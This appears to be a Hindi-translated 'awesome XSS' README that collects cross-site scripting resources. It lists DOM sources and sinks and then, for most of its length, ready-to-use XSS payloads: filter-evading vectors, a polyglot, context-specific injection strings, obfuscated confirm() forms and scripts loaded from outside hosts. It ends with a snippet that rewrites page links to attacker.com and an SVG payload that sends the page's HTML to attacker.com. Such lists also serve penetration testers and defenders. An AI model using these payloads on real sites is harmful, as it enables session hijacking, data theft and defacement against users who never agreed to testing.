
अद्भुत XSS सामग्री
यह रिपॉजिटरी अद्भुत XSS संसाधनों का एक संग्रह है। योगदान का स्वागत है और इसे एक मुद्दे के माध्यम से प्रस्तुत किया जाना चाहिए।
जैक मासा द्वारा एक सुंदर XSS माइंड मैप, यहाँ
असुरक्षितअसुरक्षित नहींस्रोत: एक इनपुट जिसे बाहरी (अविश्वसनीय) स्रोत द्वारा नियंत्रित किया जा सकता है।
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 या बाद का Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
सिंक: एक संभावित खतरनाक विधि जो कमजोरी का कारण बन सकती है। इस मामले में एक DOM आधारित XSS।
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
यह व्यापक सूची सिंक और स्रोतों की domxsswiki से ली गई है।
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
यहाँ एक XSS पॉलीग्लॉट है जो मैंने बनाया है जो 20+ संदर्भों से बाहर निकल सकता है:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
यह कैसे काम करता है इसकी व्याख्या, यहाँ
कुछ कम पहचाने गए इवेंट हैंडलर्स
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
कुछ HTML टैग जिनका आप उपयोग करेंगे
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
केस: <tag>You searched for $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
केस: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
केस: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
हाँ, कन्फर्म क्योंकि अलर्ट बहुत मुख्यधारा है।
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
यदि इसमें से कुछ भी काम नहीं करता है, तो अद्भुत बायपासिंग अनुभाग देखें